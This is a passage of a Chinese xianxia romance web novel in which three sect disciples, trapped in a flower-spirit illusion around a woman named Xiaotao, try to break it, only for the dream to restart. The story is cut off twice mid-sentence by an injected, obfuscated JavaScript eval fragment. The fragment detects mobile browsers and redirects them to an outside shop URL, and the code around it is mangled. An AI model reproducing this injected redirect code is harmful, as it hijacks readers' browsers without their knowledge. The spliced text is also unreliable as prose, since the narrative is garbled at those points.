陈赋舟拾起地上的花瓣,闻了闻:“可我总觉得有股很奇怪的气息。” 锦书打了个哈欠,有些懒洋洋道:“怎么突然这么瞌睡?” 耳侧传来陈赋舟的回应:“师姐若是累了,不如我们就先在此处休息一会......” 少年清朗的声音由近及远,逐渐变得模糊,锦书只觉得大脑昏昏沉沉,视线也逐渐开始变得朦胧,身子也越来越重,很快便两眼一黑,再也听不见任何响声。 等再睁眼之时,锦书发觉自己躺在一张很舒适的床上,她腾地坐起身来,这是怎么回事,自己不是在桃花林吗? “你醒了?身体有什么不舒服的地方吗?”轻柔的女声传了过来,锦书侧目望去,一个衣着朴素的女子正端着一个托盘朝自己走了过来,她抬起头冲着锦书微微一笑,霎时间,锦书只觉得她身侧绽放出一股奇异的光芒来。 简直像小时候看的动画片里绝世大美女出场啊,锦书不由得这样想到。 那张美丽的脸端庄中带着几分俏皮,眼尾上挑却没有分毫轻佻,弯弯的柳叶眉和透亮的唇瓣更令她显得温柔似水。 “你还好吗?”女子有些疑惑,锦书这才发现自己居然看呆了,不好意思道:“请问这里是哪里啊,我为什么会在这里?” 女子笑着放下手里的托盘,端起托盘里的茶碗递向锦书,温柔道:“我叫小桃,这里是我家,我和我夫君在桃花林里面遇见了你和你的同伴,你们三个当时都晕倒了,于是我们就把你们带回来了,你的两个同伴在另外一个屋子休息呢。” 锦书接过茶碗连忙道谢:“真是麻烦你们了,我们三个有些迷路才停在那座桃花林的,只是不知道为什么会突然晕倒了。” “你们一看就不是附近的人,那座桃花林里有几株醉桃,你们刚好运气不好偏偏就停在了醉桃面前,醉桃一到开花之时变会放出一股酒气,闻到的人会昏沉一段时间,不过对身体没什么大碍,只是会晕倒然后虚弱一段时间。不过你们几个应当都是修仙之人吧,所以会受到比普通人更重的影响,发现你们的时候夜色已经有些晚了,我们担心有野兽出没,才把你们带回来的。” 锦书抿了一口茶:“阿桃姐姐,多谢你们的照料,给你们添了不少麻烦吧,只是我们几个还有很重要的事情要去做,不能多逗留,我有一些丹药送给你们,就当谢礼啦。” 锦书说罢就把手伸向怀里,阿桃拽住了她说道:“不要着急,你们是不是要去青云宗啊?” 锦书手顿了顿,问道:“阿桃姐姐你怎么知道哇?” “我们这里离青云宗特别近,所以常常有修士路过,我只不过随口一猜罢了。” 锦书大喜:“真的吗?这里离青云宗很近?” “嗯,从我们这里过去,按照修士们御剑飞行的速度来看,不过只有半天行程。但因为这里都是平原,所以格外容易搞不清楚方位,正好过几日,我夫君要去青云宗送修士们日常用的东西,你们不如等着他带你们去如何?” 锦书有些犹豫:“若是有人带路,那便再好不过了,到时候掐个御风诀。速度也不会比御剑飞行慢上多少,只不过,可能我还需要同我的两个同伴商量一下。” 阿桃眉目含笑:“你不要多想,我提出这个提议并非是对你们有什么恶意,想暗中下手,只不过......”她脸上流露出几分羞涩之情:“夫君每次独自去都要走上好久,带着一大堆东西可辛苦了,我要陪他,他又舍不得我也这么劳累,所以我想着若是能跟着你们一起,施个什么法术,夫君便可轻松一些,也能早日回家了。不过,如果你们不方便那就算了,不用把我的话放在心上。” 阿桃那张美丽的脸上展现的神情犹如孩童一般天真无邪,在提到自己丈夫时,甜蜜就像溢出罐子的蜂蜜。 她继续说道:“你的两个同伴应该也该醒了,你要随我一起去看看他们吗?” 锦书腮帮子有点酸,听到提议赶忙重重的点头应了声好。 锦书乖巧地跟着阿桃进了隔壁的屋子,陈赋舟和李行道果然已经醒了,见到陌生的阿桃进来有些警惕。 锦书从阿桃身后探出身:“喂,你们醒啦,这是小桃姐姐家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002513|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陈赋舟眉头微蹙,抬眼看向锦书,锦书坦坦荡荡地回视过去,站出来把阿桃同她所讲的简单讲了一遍,随即小心翼翼地用眼神问道,我们怎么办? 陈赋舟并没做出回答,先是很有礼貌地向阿桃道了谢,接着向锦书问道:“师姐,掌门给的那个地图还在吗?” 锦书从怀里摸出那张薄薄的地图递了过去,天玄宗果然都是一群不靠谱的,几个长老说什么要锻炼他们的能力,非让他们三个自己御剑去青云宗,甚至连地图都是随便找了张纸潦草画的,其实只不过是这群老头懒得出门罢了。 锦书心中吐槽,天玄宗还不如改名叫天宅宗,上到掌门,下到弟子,全都懒散的不行,连门都不想出。 陈赋舟接过地图,展开仔细看了半天。 锦书:“哎!你看出什么名堂没有?” 见陈赋舟只是紧缩着眉头,锦书自然地凑到他旁边,也看向那张地图,有些疑惑地嘟囔道:“怎么了?地图有什么问题吗?” 锦书又看看陈赋舟,他沉默的脸庞泛起两抹可疑的红晕,锦书恍然大悟:“师弟你不会是个路痴吧?你是不是看不懂地图。” 陈赋舟难得有些懊恼地开口道:“我觉得我们还是找个向导带路比较好。” 锦书快活地蹦到一旁,感叹道:“师弟你居然是路痴,我还以为你无所不能呢,看来你以后出门要跟紧我了,不然到时候走丢了还要到处找你。李行道,你有什么意见吗?” 无意的几句话让陈赋舟晃了晃神,幼时动不动就被惩罚关在永乌楼,少年时为了压制体内的随时可能离魂引又不得不长年累月的闭关修行,他确实对方位不是很敏感,不过这倒是平生第一次有人同他说,让他跟紧自己,一种陌生而奇怪的感觉盈满内心,莫名的让他有些无措。 李行道依旧没什么表情,听到询问淡淡道:“我随意。” 最后锦书拍板:“那就麻烦小桃姐姐你们了。” 小桃听到几人愿意等着自己夫君一起,脸上表现出几分欣喜:“没事的,应该是我们麻烦你们才对,我夫君估计也快该回来了,等晚上我给你们做好吃的。” 令锦书有些意外的是,小桃的夫君同她描述的实在不太相像。 锦书和小桃接触不过几个时辰,便发现这姑娘真是极为天真,甚至可以说是对外人毫无防备之心,短短几句话的接触,她就把自己的家底都告诉了三人。 小桃和她夫君住在桃林旁边,因为是本地人,所以不害怕桃林中几种特殊桃种的毒素,但这地方并不是只有他们两人生活,桃林不远处有个小小的城镇,但是因为小桃的样貌常常会带来麻烦,所以就避开了人群搬到了这里。 小桃有些自豪地告诉几人,自己的夫君是全天下最最厉害的男子,不管自己想要什么,他都会去想办法找到送给自己。自己的夫君还很勤快,每天都会去镇上送货来维持家用,每次小桃想要帮他的时候,他又很心疼妻子,从来不让她做一点点重活。 锦书听小桃的描述,本以为她夫君会是个身强体壮的魁梧男子,谁料一见却更像是一个文弱书生。 31. 第 31 章 饭桌上,小桃显得有几分兴奋,不断地为几人布菜,锦书嘴里塞得满满的,看着小桃又要给自己夹菜,连忙推辞道:“小桃姐姐,你怎么不吃啊?不用管我,我可以自己来的,你做的菜真是特别好吃。” 小桃这才放下筷子,用手指将碎发揽向耳侧,温声道:“我胃口小,看着你们吃就好。你们三人白日里受了醉桃影响,最好多吃些补补身子,夫君也是,白日里搬东西辛苦了。” 小桃的夫婿夹起一筷子细腻的鱼肉运到小桃嘴边::“夫人在家里操持家务才是辛苦了。” 小桃含羞带怯地含下那口鱼肉,这才想起来同自己的夫君介绍了几人的计划,男子虽然看着柔弱,却并不腼腆,听到妻子对自己的心疼侧目用极为婉转的眼神看着小桃,还拍了拍她的手以作安抚。 男子开口对几人感激道:“多谢各位愿意同我一起走,你们叫我杨植就行,如果你们方便的话,咱们后日便出发吧。” 陈赋舟应道:“好。对了,这附近还有座城镇吗?” 杨植怔了怔,然后爽朗地笑道:“当然了,我每天都要去镇子里送货。” 陈赋舟又问道:“明日我们能和你一起去镇上看看吗?” 杨植爽快道:“当然可以了。现在时候不早了,我们两个也先去休息了,你们住的屋子是当时为了堆放杂物盖得,离我们两个有点远,如果有什么事往那边找我们就行。” 说罢,两人又挽着胳膊,言笑晏晏地离开了。 锦书长呼一口气:“小桃姐姐都成亲这么久了,两个人居然还和新婚夫妇一样你侬我侬,真是难得啊。” 陈赋舟挑眉:“师姐怎么还在关心这个?我总觉得似乎有些不对。” 锦书“啊”了一声,自从醒过来,她就总是看小桃的脸看到发呆,杨哥来了以后又忍不住看两人互动,确实没分出神想别的东西。 李行道淡淡地回复道:“确实有蹊跷,如果我没搞错的话,我们应该是陷入了罗浮梦。” 锦书恍然大悟,这还要多亏了之前的特训,玄清真人专门花了好几天时间给他们讲解了不同的幻境,罗浮梦也在其中。 传闻很多年以前,有一人在罗浮山遇到了一个美貌的女子,女子精通诗词,言语不凡,而且身上芳香连绵,此人与女子交谈后以为遇到了知己,便邀请女子一同到酒家共饮,此人醉倒而眠,醒来后发现自己正躺在一棵花树下,修为大作。原来刚才的梦境不过是自己陷入了花妖所制造幻境,这便是罗浮梦的由来。 如今的修仙界便如同现世一样对不同的法术都进行了分门别类与学术研究,罗浮梦大多代指一些无意闯入并对闯入者并无害的幻境。 罗浮梦很多都是由一些想要沉溺在虚幻故事里的人或妖所编制,梦境大多与主人心中所想有关,只要自然而然地等梦醒便能逃脱。 “一切都有点太刻意了,不管是从捡到我们开始,还是说要和我们一起去青云宗,感觉简直像是为了我们良身定做的剧情一样。”陈赋舟打开窗户,几片桃花花瓣随风落入他手中。 李行道也接道:“而且我记得我们在桃林前时,陈师兄你说你感到了一种奇异的感觉对吧,我听说你是陈家未来的家主,陈家一直以精通幻境闻名天下,你从小学习幻境一术,对此的感应应该比我和纪师姐强不少。” 陈赋舟将手中的花瓣洒向窗外,他清俊的半张侧脸沐浴在月光中,只是脸上的神情令人有些捉摸不透,不知道在想什么,他迟迟没有搭话。 锦书道:“既然是罗浮梦,估计用不了多久,我们就可以出去了吧。” 李行道皱眉道:“话虽如此,但是我记得师尊和我说过,只要是幻境,那么幻境里和外面的时间是并不互通的,那次我们在“阿翠”的幻境里呆了好几天,可是出来后外面不过弹指之间,这次我们谁也不知道梦境的主人梦醒后外面过了多久,倘若错过报名和仙门大比就不好了。” 锦书也有些为难:“话虽如此,但是特训的时间太短,长老们都说罗浮梦没啥危险,都直接跳过了,压根没告诉我们怎么破解啊?” 一直没说话的陈赋舟总算开口道:“破解并不难,让梦境的主人意识到这只不过是她的梦就行了。” 锦书思索道:“一般来说罗浮梦大多是因为梦境主人想要一切按照自己的预想发展,那么这个人最大可能就是拥有幸福美满生活的小桃了吧!你之前说和杨叔一起去镇上是为了找到小桃做梦的理由?” 陈赋舟转过头看了一眼她,勾起嘴角道:“还记得我们在高空中所看到的这片平原只有这一大片桃花林,根本没有所谓的城镇,所以我想只有两种可能,第一种城镇也是小桃幻想出来的,第二种有可能小桃这个梦做了很久很久,在我们来到这里之前,确实是有个城镇存在的。” 锦书道:“我们现在时间紧任务重啊。” 陈赋舟揉了揉额角道“没办法,自认倒霉吧,怎么偏偏只把我们卷进来了,希望能在明天就找到破解的方法。” 事已至此,锦书也只能先回房休息,但白天睡了好长一大觉,此时她居然有些失眠,叹了口气,她推开房门走了出去。 屋外,朵朵桃花飞扬又飘落,像一层粉色的雾,锦书在病床上躺着时,也曾在手机里见过这般景色,不过如今亲眼看见又是一番别样的感觉。 锦书蹲下身捧起一汪花瓣,它们脆弱地躺在她柔软的掌心,不知为何有几分惹人怜惜,锦书忽感觉自己现在有些黛玉葬花时的心境,自己也如同这些花瓣,孤零零一人来到这里,不知道死的时候又有谁在意自己。 “花谢花飞花满天,红消香断有谁怜”锦书觉得自己现在颇有几分凄凉,对着花瓣呆了片刻神,又动作轻缓地将它们洒向天空。 锦书往回走,但实在太过精神,她估摸着自己估计躺回床上也是翻来打滚睡不着觉,于是左看右看,终于寻找了一个好去处。 她运转灵力,朝着地上一蹬,便飞起落在了屋顶上。锦书小心翼翼地摁了摁屋顶,满意地自言自语道:“还挺结实。”随后便放心地坐在了高处:“不错,这里还能看花还能吹风。” 手腕上的绊玉化作一支晶莹的长笛,锦书手指搭上笛身,这个点应当不会扰人轻眠吧,她轻轻地吹响笛子,笛声宛转悠扬,散入暖风中,悠悠地吹起片片花瓣。 身边传来不大的动静,锦书停了笛声,睁眼望向身侧,陈赋舟正在她身侧坐下,感到她的目光后也并未看过来,漫不经心道:“师姐的笛子吹得很好听,怎么不去做乐修?” 锦书有些担忧地问道:“我把你们吵醒了吗?” 陈赋舟闭目将胳膊枕在脑下,闭目躺在屋檐上,嘴角勾起一抹笑容:“没有,只是我和师姐一样睡不着而已,师姐可以继续吹吗,很好听。” 锦书看了他两眼,不知为何感觉他明明白日里意气风发,此时却有些落寞,她继续吹起手中的笛子,悠扬的笛声无边无痕地蔓延向远方。 陈赋舟有些迷茫,或许是晚上李行道点出了他的家世,他竟有些难得的想到,他其实很久没用过幻术了,自从拜师学艺后,他大多把重心放在习剑上,虽然不比与生俱来的幻术天赋,他在剑术一方面实在可以说是天赋平平,但他从心里对幻术的抗拒却从未消淡。 玄清真人其实很想劝他回到该属于他的道路,但看着总是云淡风轻的弟子,话总是到口了却说不出来,多少次的欲言又止,其实陈赋舟心里都有数,他并没告诉任何人,尽管他刻意地避开学习和使用幻术,甚至迫切的希望能将这种天赋从身体里抹去,但对幻术的领悟却逐渐增加。 锦书笛声慢慢消散,两人静静地呆在屋顶,锦书看着皎洁的圆月,许是这里是小桃梦境的缘故,那轮圆月完美极了,比她见过的许多月亮都美上几分。 过了半晌,她听见身侧少年闷闷地问道:“师姐,如果,让你做一个罗 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陈赋舟并没有立刻答话,锦书这才发觉自己的问题好像有些冒犯,连忙歉疚道:“那个,我不是故意想打探你的什么消息的,只是想起来才一问而已。” 少年眸中映出几颗孤零零的星辰,它们在他的一霎拿的晃神里渐渐拢居到一起,晕染出明亮的光芒,他的声音不轻不重,却像飘在天空一半,听起来不知为何令人感觉有些失重:“你听过离魂引吗?” 锦书想了想原书的情节,又想了想原主的记忆,确认道:“没有。” 陈赋舟一只胳膊压在脸上,盖住了两只眸子,声音有些含糊不清:“陈家的家传法宝,但与大多数法宝不同,他会寄居在传人的身体里,倘若怀孕就会传给新生儿,如果他认为自己的下一个传人比自己原本寄居的更有天赋,就会无情地剥夺掉上一个主人的灵力全都留给新主人。” 锦书有些震惊,这么霸道的法器确实闻所未闻。 少年继续说道:“离魂引会帮助它的主人驱动幻术,在幻术一方面,可以说是天下第一法宝,但它也会给主人带来很大的痛苦,主人灵力越高深,它对主人的反噬也就越大,到了一定的程度甚至有可能吞噬主人的灵智令其暴走。” 锦书瞪大眼睛看向身侧的少年,此时看不清他的表情,锦书只能试探地问道:“难道离魂引在你体内吗?” “嗯。” “所以,你是为了压制体内的反噬才闭关吗?” “嗯。” 锦书一时间有些语塞,她很不会安慰人,但还是努力的挤出几句:“没事的,那些药修丹修那么厉害,听说有好几个天才呢,说不定有人可以帮你治好。” 陈赋舟没吭声,锦书有些挫败:“那个,我是不是安慰的不太好。” 陈赋舟没有回话,锦书却感到身边传来轻微的振动,少年笑声压得很低,笑的锦书脸上浮起两片红云。 “喂,你笑够没啊,我要去睡觉了。” “陈赋舟悠哉悠哉的坐起身,锦书看见他琥珀一般的眸子中有着让人看不懂的情绪,仿佛一个漩涡一般吸引了她的眼神。 少年抬起手,轻轻拿下少女头顶的一朵还算完整的桃花,他弯了弯嘴角道:“小师姐,有好多花啊。” 锦书不知为何感到心里痒痒的,慌张地与他挪开了距离,摇摇头,果然晃下了一大片花瓣。 少女眼珠很亮,娇俏的小脸在月色下很是清晰,她摇起头时,纷纷扰扰的花瓣里依旧能看到那双俏皮的眸子。像只鸟,陈赋舟暗暗想到。 “这下好了,我要去睡觉了,你一个人在这里坐着吧。”锦书语气轻快中带着几分自己也没有察觉的慌张,她飞下屋顶,抬头看了看,陈赋舟还一个人坐在上面,低着头看着手里那朵从锦书头顶取下的花瓣,黑色的影子倒映在皎洁的月光和花雨中,令人移不开眼睛,锦书捏着门把手,有些怔,但没过多会就回过神,打开门,转进了屋里。 “我这个一看到好看的东西就移不开神的臭毛病真是该改了。” 32. 第 32 章 次日清晨,甚至连太阳都没露头,杨植便早早地喊醒了三人,他有些歉疚道:“不好意思,这么早就把你们叫起来,不过我们这离镇上有些距离,恐怕再不走就误了时辰。” 锦书睡眼朦胧却还是强撑着精神道:“没事的,我们出发吧。” 杨植坐上牛车,招呼三人坐在敞开的堆满杂货的车厢里,锦书有些好奇道:“还并未见过这种样式的车呢。” 陈赋舟接道:“确实不是很常见,自从几十年前有人发明了一种凌霄飞车后就没怎么听说过有人用这种原始的牛车了。” 坐在车前的杨植疑惑地回过头问道:“凌霄飞车?那是什么东西?” 陈赋舟没有什么额外的表情:“这种车内部存储的有一种能够加快行驶速度的符纸,使用时会自动燃烧,这样驾驶起来既不费力也不需要牛或者马来坨。” 杨植挠挠头笑道:“我从没听说过这种车,感觉很方便啊,是我们这里太偏远了吗?” 锦书压低声音说道:“果然和咱们不是一个年代。” 陈赋舟也低着头:“还在用牛车的话,恐怕这个梦至少已经做了一百年了,我总算知道为什么我们三个会被拉进来了。” 锦书“咦”道:“居然不是因为我们倒霉吗?”话落只见李行道面色略带几分无语地看向自己,便有些不好意思地在嘴上比划了一个拉拉链的动作,示意自己将谨言慎行。 陈赋舟继续说道:“任何幻境都需要主人的灵力支撑,维持了这么长时间的罗浮梦,恐怕主人早就已经没有足够的灵力来支撑了,所以当我们靠近这里的时候,他自然而然就察觉到我们身上充沛的灵力,便无意识的将我们吞噬在里面,想要拿我们的灵力作为维持罗浮梦的肥料。” 李行道紧缩眉头:“那恐怕我们现在要考虑的问题不只是从罗浮梦里出来会不会延误报名,而是我们怎么平安无恙地脱身。” 陈赋舟看了一眼他:“不仅如此,他不惜花费这么多灵力来维持一个这么长的幻境,极有可能是对此有着很深的执念,我们破坏了这一切估计会遭到报复。” 李行道手指搭上玄铁剑:“倘若出了什么事,应战就是了。” 锦书有些意外,记得书里面龙傲天性格似乎并没有这么激烈吧,难道是和他们呆久了,受到什么影响了? 说话间,牛车慢慢停下,杨植转过头:“已经到镇上了,我去送货,你们要下来逛一逛吗?” 三人应了声好,便一个接一个的下了车。 “呦,这不是小杨吗?今天又来这么早送货呀。” 锦书看过去,只见一人穿着一身利落的灰色衣衫,褂子上还打着几个色彩鲜明的补丁,那人面容普通,看着不过一个憨厚老实的农民,正笑着同杨植打招呼。 杨植同样微笑着回应道:“没办法,只有起早才能多赚点钱啊,我家里的还等着我给她买漂亮衣裳和首饰呢!” 搭话的人回道:“你们可真是恩爱啊。” 杨叔听到有人夸赞他们夫妻二人的感情,脸上的笑容更大了。 “走吧。”锦书这才回过神,陈赋舟和李行道两人已经同她有些距离了,正转过身等着她追上来。 锦书大步追了过去,三人沿着主街道向城内走去。 这座小镇确实与锦书之前所见的城镇并不相同,虽然大街上人潮不断,热闹非凡,但显而易见的落后了不少。 三人漫无目的向前走着,锦书有些疑惑地问道:“我们上街是干什么来着?” 半晌,陈赋舟幽幽道:“我本来只是想确认一下现在是什么年代,没想到他们用的还是牛车这种一眼就能看出来的交通工具。” 锦书愕然道:“那我们现在就是相当于无事可做,瞎逛街了?” 陈赋舟还没张嘴,李行道的声音从身侧传来:“等一下,你们快看周围。” 锦书闻声将头转向周围,诡异的一幕吓得她后退两步,只见不管是街上行走的人群还是正在卖货的商贩,他们的脸上全都空白一片,没有五官。 “这什么东西?”锦书额头冒出几丝冷汗。 陈赋舟神色镇定:“别害怕,这是罗浮梦的主人维持不住幻境的表现。” 许是因为他出身幻术世家的缘故,不知为何此刻陈赋舟的话语令锦书觉得很具有安全感,她定了定神,听到陈赋舟温声细语地解释道:“灵力不够用了之后,他只能把重心都放在与自己关系最密切的人身上,自然没有别的功夫管不相干的人。” 这时,锦书远远地瞧见一人,扯了扯身旁人的衣袖指道:“你看,那不是咱们在城门口遇见的那个人吗?” 陈赋舟顺着她手指的方向看过去,依旧是空白的一张脸,有些不解的问道:“你怎么认出来的?” 锦书放下手来:“你看他衣服上的补丁,不是很好认吗?你们这些粗心大意的人肯定没有注意到。咱们去问问他小桃他们家的事吧,之前听起来感觉他们还挺熟的。” 锦书快步走上前问道:“大哥,你好,请问你是认识杨植和小桃一家人吗?” 无脸男并没有搭理来问话的人,自顾自的走开了。 “问不出来的,他们的存在只有在罗浮梦主人在意的时候才有意义。一旦离开了那个需要他们的场景,其他时候就和无意识的傀儡没有区别。”陈赋舟走到她身侧。 “那现在情况很是焦灼啊。我们又没办法问其他人,小桃那里感觉能知道的都已经知道了。”锦书看着一大街的无脸人还是有些发怵。 陈赋舟和锦书大眼瞪小眼,开口道:“没办法,等杨哥回来了,咱们直接去小桃那试试吧。” 三人来到城门,虽然杨植说中午就回去,但也没说具体的时间,锦书百般无聊地蹲在地上。 城边有几株红叶,锦书忽的想起来这种红叶用力摁可以挤出红色的汁液,她玩心大发,扯了两片叶子,在地上画起画来。 陈赋舟正抱着手臂靠在一侧的墙上,此时阳光正好,暖融融地洒在身上,他闭着眼睛打了会瞌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020999|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡,半梦半醒间,裤腿被轻轻一振,他诧异的睁开眼看向脚下。 只见女孩正仰起头看着自己,她眼睛笑成弯弯的两条,嘴角也勾起大大的弧度,明黄色的阳光斜斜地打在她脸上,照的半张脸都亮了起来,陈赋舟看着这没心没肺的笑容,一时间有些怔了。 锦书又拽了拽陈赋舟的裤腿,大大咧咧地小到处:“喂,你看,我画的怎么样。” 陈赋舟看向她旁边的地面,上面用不知哪来的红色颜料画了两个嘴歪脸斜的小人,他神色一凝:“师姐画的是什么?” 锦书有些不满:“画的你啊,你怎么连这都没看出来?”她伸手又去拽李行道:“小师弟你也看,左边的是陈赋舟,右边的是你,我画的怎么样?” 陈赋舟瞥见李行道嘴角抽了抽,但还是捧场道:“画的很好。” 不知为何,陈赋舟感觉自己现在有些不爽,红色的两个小人并排站在一起,右边的那个背后露出一把剑和左边的一对比倒是很明显的能看出来是李行道。有些过于扎眼了,他暗暗想到。 陈赋舟看向锦书手里,很快就找到了作案工具,她的手被红色的汁水染上了颜色,一旁还堆着几片揉碎的叶子。陈赋舟蹲下身,也拽下几片叶子:“我也会画,师姐想看吗?” 他一边打量锦书一边在地上画画,锦书长得娇俏,大大的圆眼,黑白分明的眼珠,翘起的小巧鼻尖,和果干一样的唇,但这都是太过细节的部分,对他来说有些难,描了半天画的仍旧是含糊不清,他微不可查的皱了皱眉头。 锦书都被看得有点不好意思了:“你不知道我长什么样啊?” 陈赋舟调侃道:“师姐长得太好看了,我多看两眼才能画出精髓。” 没几分钟,他就寥寥几笔画完了,锦书凑过头去看,只觉得那小人抽象十分,怎么也不像自己,呲牙裂嘴道:“你这画的连我半分功力都没有。” 陈赋舟满意地打量自己的作品:“我倒是觉得这画简直是栩栩如生。” 一听这话,锦书就不服气了,她嚷嚷起来:“小师弟小师弟,你快看我们俩谁画的好?” 李行道本在认真地扫视路过的人群,等着杨哥的出现,闻言有些无奈,但还是低下头看了半天,不过这两人虽然像小孩一样争了个半天,实际上两人画技只能说半斤八两,画的都没什么人样。 偏生他人好,看着两个幼稚的小孩瞪起大大的两双眼睛看着自己,只能在心里叹了口气,说道:“你们两个画的都好。” 锦书拍了拍陈赋舟的肩膀,洋洋得意道:“李行道就是人好,为了安慰师弟你才这样说的,其实明眼人都能看得出,我比你画的好多了。” 陈赋舟抬起头盯着锦书,他脸上仍带笑,眸中神色却晦暗不明,小小的酒窝仿佛盈满了阳光乖巧的待在右脸颊,锦书微微一呆,松开手,转过头,嘟囔道:“算了,就当我师姐让让师弟了。” 奇了怪了,以前虽然知道陈赋舟长得好看,怎么今日却突然好看的这么出奇。 33. 第 33 章 李行道的声音从两人上方传来:“你们先别画了,杨植应该要来了。” 锦书站起身,拍了拍手,随即抬起头看向远处,只见从城内到成外犹如一支画笔涂抹上色了一样,密密麻麻的人群忽然就有了五官,有脸的人越来越多,直到蔓延到三人周围时,锦书终于看见了杨哥的影子。 杨植远远就看见了三人,笑着同他们挥了挥手。等三人安稳地坐进露天的车舱,锦书从车里探出身,仰起头看向城内。 牛车慢慢地轧过不平的土路,车轮子滚在土地上,偶尔被石头咯的飞起一瞬,锦书抓着摇摇晃晃的车栏,使劲地张望着,果不其然,在众人离开后,那座城镇便慢慢褪色,直到无影无踪地消失在天际线上。 锦书老老实实地坐了回去,小声道:“我们一走,那地方就完全消失了。” 陈赋舟肯定道:“应该就是小桃了。” 路程慢慢,锦书不由得异想天开起来:“不会和话本里面写的一样吧?年轻的姑娘和男子相遇相爱了,但由于种种原因没有办法在一起,姑娘执念太大,死后化作了一棵桃树,久久地驻足在此。” 陈赋舟眸色一暗:“世上有这样的感情吗?” “嗯?你说什么?”锦书没太听清。 “真有人愿意为了一个人等那么长时间吗?” 锦书天真地笑道:“有吧,话本里惊天动地的的爱情不是很多吗?” 陈赋舟吐字模糊:“人不是都很自私吗?” 锦书柳眉竖立,不客气地一巴掌拍在他后背上,陈赋舟错愕瞪大了眼睛,只听少女声音利落:“你怎么回事?一点都不正能量。” 陈赋舟语气中的错愕半分不减:“正能量是什么东西?” 锦书严肃道:“就是,哎呀,不太好形容。你怎么可以把人想这么坏呢,你这是对生活的态度不积极,不向上!” 看着陈赋舟尚有些发蒙的表情,她心里难得出现了“一定要好好教育他”的想法,于是锦书简直是化身道德与政治老师,喋喋不休地讲了一路积极向上对人有多么重要。 等下下车的时候,陈赋舟和旁听的李行道都觉得脑子有点晕乎乎的,但看到等候在前方的小桃还是眼神一凝,锦书拿胳膊肘怼了怼两人,压低声音道:“我们根本不知道小桃的执念是什么,用那招真能让她醒过来吗?” 李行道答道:“没办法,这里除了这两个人,其他人连脸都没有,探案也没有这样探的,谁能想出来她到底在执着什么啊,只能死马当作活马医了。” 锦书崴了崴脚,嘟囔道:“可是还是好尴尬啊。” 小桃看见牛车的时候就已经满脸欣喜地迎了过来:“你们回来啦?” 迎接她的不是刚刚准备下车的阿牛,而是三个少年,背着玄铁剑的那个面色正义凛然,穿青色衣衫宛如翩翩公子的那个沉着冷静,身量尚矮的那个女孩流露出不情不愿,却还是和同伴一起跨了两步站到她面前。 小桃美轮美奂的脸庞上有几分呆滞:“你们这是要做什么?” 锦书闭着眼睛,努力克服自己一尴尬就想拔腿跑的欲望,大喊道:“你,小桃,快醒醒吧,这里的一切都是你做的梦而已,都是假的。” 陈赋舟接道:“不管你到底是有什么执念,才一直待在罗浮梦里不愿向前看,这样不积极的人生态度是不对的。” 李行道对这尴尬场景依旧面色不改,沉稳道:“快把我们从这里放出去,不然我们就要出手了,我的剑很强!” 半晌无声,锦书松开眼皮,小心翼翼地睁开眼,小桃脸上的惊讶已经被一副甜美的笑容代替了,她温和地看向三人:“你们在说什么呢?” 话落,一阵天旋地转,锦书只觉得一阵失重感传来,四肢都没有了能着力的地方,仿佛一个巨大的漩涡吸引着自己,她想开口喊陈赋舟,却发现巨大的压力使得自己不管是嘴还是眼睛都长不开了。 “你醒了?身体有什么不舒服的地方吗?”熟悉的声音让锦书吓得一机灵,她那双俏皮灵动的眼睛瞪得老大,看向声音的主人。 小桃端着托盘走了过来,对着锦书微微一笑:““我叫阿桃,这里是我家,我和我夫君在桃花林里面遇见了你和你的同伴,你们三个......” 一模一样的话语,锦书已经有些呆滞了,怎么回事,按照常理来说,不是应该只有两种情况吗,一是小桃梦醒放他们回去,二小桃坚持不醒,一切照旧。 怎么会是现在这样啊?为什么一切都重新来过了? 锦书有些抓狂的挠了挠脑袋,小桃站在床边用那副她曾见过的温柔似水的眼睛盯着她,锦书问道:“谢谢你小桃姐,我现在不难受,我先去找我的伙伴们了。” 说罢,她抓起搭在床尾的外衫,胡乱的套上,又潦草的蹬上鞋,不顾小桃在身后的呼唤,慌里慌张地推开门冲了出去。 “喂,这是怎么回事?”锦书“啪”地推开隔壁屋的门,屋里的两个人同样神情茫然地坐在床上。 锦书喘了两口气:“为什么一切都重新来过了啊?” 陈赋舟敛紧衣服,很快就恢复了正常的神色,他思索了一会推测道:“难道是我们猜错了,罗浮梦的主人不是小桃?” “那还能是......”锦书百思不得其解正开口询问,却被身后温柔的声音打断:“你们身子如何了?” 小桃轻轻的踏进屋里,解释了一通三人为何会在此处,并同上次一样询问了几人能不能后日陪自己夫君去青云宗,三人只能先敷衍地应付了她。 待她走后,锦书这才开口:“可是,一切线索不是都指向了她吗?难道还有其他人?”她心神一动,开口道:“难道是杨哥?” 注意力全在小桃身上,她都忘记了还有杨哥这个人呢。 陈赋舟思索道:“可能性很大,我们之前都把他忽略了。” 锦书理了理思路:“等晚上杨哥回来我们直接像之前那样吗?” 李行道点点头:“那样是最快的方法了。” 锦书看向窗外,小桃颇有雅致的在院中清扫花瓣,她动作优美,姿态端庄,虽然拿的是一把再普通不过的扫把,却像搂着一把罕见的古琴一般。 陈赋舟看她久久凝视着窗外,也顺着她的视线看了过去,小桃没有注意到几人的视线,她轻盈的扫起花瓣,如同在弹奏一首名曲,柔美的下颌线与琉璃一般的皮肤显 